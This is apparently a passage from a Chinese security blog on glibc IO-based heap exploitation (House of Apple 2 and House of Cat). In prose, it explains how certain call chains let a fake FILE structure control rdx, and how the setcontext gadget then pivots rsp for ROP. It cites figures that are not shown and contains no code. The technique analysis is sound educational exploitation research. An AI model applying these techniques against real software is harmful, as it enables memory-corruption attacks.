上述的5个调用链中,调用链1,2,4都支持控制rdx寄存器,进而借助setcontext的gadget控制rsp

setcontext的回顾

setcontext控制rsp寄存器需要修改rdx + 0xA0rdx + 0xA8两处内容

调用链1,2

图中rdi寄存器最开始为fake_file,根据偏移可以计算出rax为wide_data,而wide_data偏移为0x20的值即为rdx。

调用链4

图中rdi寄存器最开始也为fake_file,而rdx为wide_data,并且在调用vtable函数之前并没有改变rdx的操作。



从上面的回顾和分析,确定这三条链都可以控制rdx寄存器,进而控制rsp寄存器实现rop

参考链接

House of apple 一种新的glibc中IO攻击方法 (2)
[原创]House of cat新型Glibc利用手法解析 && 第六届强网杯House of cat详解

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇